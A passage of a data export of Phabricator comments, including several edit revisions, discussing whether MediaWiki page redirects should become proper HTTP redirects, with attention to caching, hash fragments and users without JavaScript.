Failing that, it would still be preferable for users without JavaScript to have a proper HTTP redirect (even with the small delay that would introduce) than to be taken to the wrong place without explanation (as they are now), or to be taken to the wrong place, but with a link which, if they are lucky enough to spot and click on it, will take them to the right place.",,,1497987412,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0.0,0.0,0.0,2.0,0.0,5.5,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,13.5,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,1.0,1.5,0.0,2.0,0.0,0.5,0.0,5.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,5.0,4.5,5.5,1.5,3.5,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,13.5,5.0,0.0,0.0,0.0,4.0,0.0,1.5,1.5,1.0,1.0,0.0,0.0,0.0,3.768518518518518,0.6574074074074074,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Caching, and handling the cache invalidation correctly, would be ideal.

Failing that, it would still be preferable for users without JavaScript to have a proper HTTP redirect (even with the small delay that would introduce) than to be taken to the wrong place without explanation (as they are now), or to be taken to the wrong place, but with a link which, if they are lucky enough to spot and click on it, will take them to the right place."
879420,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3349657, @GWicke wrote:
> In the past, we discussed adding the ""redirected from"" thing in client-side javascript.

It's unclear (to me) from this remark whether you spotted that the purpose of this issue is, at least in part, to handle cases where client-side JavaScript is not present (e.g. a browser that does not support JavaScript, or that has JavaScript disabled). Probably you already understood that, but I'm adding this clarificatory remark just in case not ;)",,,1497987069,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0.0,0.0,0.0,0.0,4.0,4.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,11.0,13.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,17.0,3.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,3.0,3.0,11.0,5.0,3.0,8.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,13.0,4.0,0.0,0.0,0.0,7.0,0.0,3.0,1.0,1.0,1.0,0.0,1.0,0.0,4.052631578947368,0.7368421052631579,"QUOTE
QUOTE

It's unclear (to me) from this remark whether you spotted that the purpose of this issue is, at least in part, to handle cases where client-side JavaScript is not present (e.g. a browser that does not support JavaScript, or that has JavaScript disabled). Probably you already understood that, but I'm adding this clarificatory remark just in case not ;)"
879006,Consider changing wikipage redirects to be proper HTTP redirects,"> I think we can solve this quite easily nowadays.
>
> - In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

> Example:
>
> - In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)

This might be easy without caching, but with caching you must also ensure that the cache is invalidated whenever necessary, which is definitely not easy.

Let's assume that a page `Foo` links to `Knight 4000`. When `Foo` is saved, the HTML (and most likely other things related to the page content) is cached. When the `Knight 4000` redirect changes, the cached version of `Foo` has to be invalidated, because the `#Knight_4000` fragment might be invalid.

The HTTP redirects win this case from both the complexity and efficiency point of view. There might also be other scenarios that need to be taken care of and nobody thought of them yet...",,,1497959216,,PHID-USER-qwxkrd4xi74hgc24cflz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0.0,0.0,0.0,3.0,0.5,4.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.0,9.0,0.5,1.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,2.0,0.0,0.0,5.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,2.0,0.0,1.0,0.0,0.5,1.0,10.5,0.5,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,5.5,5.5,11.5,3.5,3.0,7.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.5,9.0,6.0,0.0,0.0,0.0,1.5,0.0,3.0,0.5,0.5,1.0,0.0,0.5,0.0,4.053007023705004,0.6965539947322212,"QUOTE
QUOTE
QUOTE

QUOTE
QUOTE
QUOTE

This might be easy without caching, but with caching you must also ensure that the cache is invalidated whenever necessary, which is definitely not easy.

Let's assume that a page CODE links to CODE. When CODE is saved, the HTML (and most likely other things related to the page content) is cached. When the CODE redirect changes, the cached version of CODE has to be invalidated, because the CODE fragment might be invalid.

The HTTP redirects win this case from both the complexity and efficiency point of view. There might also be other scenarios that need to be taken care of and nobody thought of them yet..."
878997,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3343170, @Krinkle wrote:
> Related use cases we don't want to break:

Also performance? A HTTP redirect would introduce delay for no good reason (unless we cache it in Varnish and then deal with cache invalidation).

The fragment resolving approach is an improvement, although I'm not sure if it's worth the effort and complexity. IMO the low-hanging fruit is to just change the text of the redirect warning as suggested in T53736#556866.",,,1497956521,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,198,True,0.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,1.0,3.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,8.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,7.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,9.0,3.0,13.0,4.0,3.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,13.0,4.0,1.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.25,0.8289473684210527,"QUOTE
QUOTE

Also performance? A HTTP redirect would introduce delay for no good reason (unless we cache it in Varnish and then deal with cache invalidation).

The fragment resolving approach is an improvement, although I'm not sure if it's worth the effort and complexity. IMO the low-hanging fruit is to just change the text of the redirect warning as suggested in T53736#556866."
876455,Consider changing wikipage redirects to be proper HTTP redirects,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript. It's just hard to figure out that a redirect happened, and what the original title was. `document.referrer` tends to point to the original page, not the redirected page. I guess cookie, localstorage, or magic URL parameter in redirect target (stripped in Varnish) could work, with different pros & cons.

There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548",,,1497478281,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,1.0,0.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.0,2.0,0.0,1.0,9.5,0.0,1.0,0.0,0.0,1.0,1.5,1.0,0.0,0.0,1.0,0.0,0.0,3.5,1.0,1.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,9.5,0.5,4.0,5.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5,9.5,2.5,0.0,1.0,0.0,3.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,4.1454545454545455,0.7727272727272727,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript. It's just hard to figure out that a redirect happened, and what the original title was. CODE tends to point to the original page, not the redirected page. I guess cookie, localstorage, or magic URL parameter in redirect target (stripped in Varnish) could work, with different pros & cons.

There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548"
876453,Consider changing wikipage redirects to be proper HTTP redirects,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript. It's just hard to figure out that a redirect happened, and what the original title was. I guess cookie, localstorage, or magic URL parameter in redirect target (stripped in Varnish) could work, with different pros & cons.

There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548",,,1497478242,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,12.0,0.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,1.0,5.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,2.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.177083333333333,0.7604166666666666,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript. It's just hard to figure out that a redirect happened, and what the original title was. I guess cookie, localstorage, or magic URL parameter in redirect target (stripped in Varnish) could work, with different pros & cons.

There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548"
876365,Consider changing wikipage redirects to be proper HTTP redirects,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript, possibly based on comparing `document.referrer` to the current location.

There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548",,,1497473854,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,13.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.416666666666667,0.85,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript, possibly based on comparing CODE to the current location.

There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548"
876335,Consider changing wikipage redirects to be proper HTTP redirects,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript, possibly based on the history.

There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548",,,1497471862,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.321428571428571,0.8392857142857143,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript, possibly based on the history.

There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548"
876333,Consider changing wikipage redirects to be proper HTTP redirects,See also this related discussion about redirect handling in the REST API: T118548,,,1497471663,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.928571428571429,1.0,See also this related discussion about redirect handling in the REST API: T118548
874882,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3343170, @Krinkle wrote:
> * In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

There are more caveats:
- This is not going to work for interwiki links and links incoming from other sites.
- When inspecting the target URL of a link in a wiki page, the reader will not be able to distinguish, whether the fragment part comes from the wikilink on this page, or from a redirect.

I have proposed a solution with a HTTP redirect and a URL parameter, which has none of these four caveats, at T144781#3342890.",,,1497310000,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,197,True,0.0,0.0,0.0,0.0,2.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,3.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,21.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,11.0,2.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,14.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,6.0,0.0,2.0,1.0,0.0,0.0,3.851063829787234,0.6808510638297872,"QUOTE
QUOTE

There are more caveats:
- This is not going to work for interwiki links and links incoming from other sites.
- When inspecting the target URL of a link in a wiki page, the reader will not be able to distinguish, whether the fragment part comes from the wikilink on this page, or from a redirect.

I have proposed a solution with a HTTP redirect and a URL parameter, which has none of these four caveats, at T144781#3342890."
874871,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS network request fails), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects aren't visible to the user). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't fetched at the moment. This may require an extra query.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the modified page is a redirect.
",,,1497308042,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0.25,0.0,0.0,0.5,1.25,3.5,1.5,0.0,0.0,0.25,1.25,0.75,0.0,0.25,0.0,2.25,0.5,6.5,10.0,0.0,1.0,0.25,0.0,0.25,0.5,0.0,0.0,0.0,0.5,0.75,0.5,5.5,1.25,0.75,0.75,0.0,0.0,0.25,0.25,1.75,0.25,0.0,0.75,3.5,0.25,0.0,0.0,0.25,0.25,14.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.25,0.5,0.5,0.25,0.25,0.25,0.25,0.0,10.25,2.5,11.75,2.5,1.5,11.75,0.0,0.0,0.0,0.0,3.25,0.0,0.75,0.0,3.0,10.0,6.0,0.0,0.5,0.0,3.0,0.0,2.0,3.25,0.0,3.0,0.0,0.0,0.25,3.9694748711340204,0.6752040378006873,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to CODE, which is a redirect to CODE. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](URL or when JS network request fails), then the user will end up on the CODE article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects aren't visible to the user). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (CODE) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of CODE the link would become CODE. (Currently it is CODE, canonical destination would be: CODE)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't fetched at the moment. This may require an extra query.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the modified page is a redirect.
"
874869,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS network request fails), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects aren't visible to the user). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.
",,,1497307930,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0.25,0.0,0.0,0.5,1.25,3.5,1.5,0.0,0.0,0.25,1.25,0.75,0.0,0.25,0.0,2.25,0.5,6.5,10.25,0.0,1.0,0.25,0.0,0.25,0.5,0.0,0.0,0.0,0.25,0.75,0.5,5.5,1.5,0.75,0.75,0.0,0.0,0.25,0.25,1.5,0.25,0.0,0.75,3.5,0.25,0.0,0.0,0.25,0.25,14.5,0.25,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.25,0.5,0.5,0.25,0.25,0.25,0.25,0.0,10.25,2.5,11.75,2.5,1.5,11.5,0.0,0.0,0.0,0.0,3.0,0.0,0.75,0.0,3.0,10.25,6.0,0.0,0.5,0.0,3.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.25,3.962821948488242,0.6770156774916014,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to CODE, which is a redirect to CODE. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](URL or when JS network request fails), then the user will end up on the CODE article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects aren't visible to the user). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (CODE) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of CODE the link would become CODE. (Currently it is CODE, canonical destination would be: CODE)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.
"
874865,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS network request fails), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.",,,1497307788,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0.25,0.0,0.0,0.5,1.25,3.5,1.5,0.0,0.0,0.25,1.25,0.5,0.0,0.25,0.0,2.25,0.5,6.5,10.25,0.0,1.0,0.25,0.0,0.25,0.5,0.0,0.0,0.0,0.25,0.75,0.5,5.5,1.5,0.75,0.75,0.0,0.0,0.25,0.25,1.5,0.25,0.0,0.75,3.5,0.25,0.0,0.0,0.25,0.25,14.5,0.25,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.25,0.5,0.5,0.25,0.25,0.25,0.25,0.0,10.25,2.5,11.75,2.5,1.5,11.5,0.0,0.0,0.0,0.0,3.0,0.0,0.75,0.0,3.0,10.25,6.0,0.0,0.5,0.0,3.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.25,3.962821948488242,0.6744120940649496,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to CODE, which is a redirect to CODE. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](URL or when JS network request fails), then the user will end up on the CODE article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (CODE) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of CODE the link would become CODE. (Currently it is CODE, canonical destination would be: CODE)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect."
874864,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS network request fais), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.",,,1497307781,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0.25,0.0,0.0,0.5,1.25,3.5,1.5,0.0,0.0,0.25,1.25,0.5,0.0,0.25,0.0,2.25,0.5,6.5,10.25,0.0,1.0,0.25,0.0,0.25,0.5,0.0,0.0,0.0,0.25,0.75,0.5,5.25,1.5,0.75,0.75,0.0,0.0,0.25,0.25,1.5,0.25,0.0,0.75,3.5,0.25,0.0,0.0,0.25,0.25,14.5,0.25,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.25,0.5,0.5,0.25,0.25,0.25,0.25,0.0,10.25,2.5,11.75,2.5,1.5,11.5,0.0,0.0,0.0,0.0,3.0,0.0,0.75,0.0,3.0,10.25,6.25,0.0,0.5,0.0,3.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.25,3.9601903695408733,0.6744120940649496,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to CODE, which is a redirect to CODE. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](URL or when JS network request fais), then the user will end up on the CODE article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (CODE) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of CODE the link would become CODE. (Currently it is CODE, canonical destination would be: CODE)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
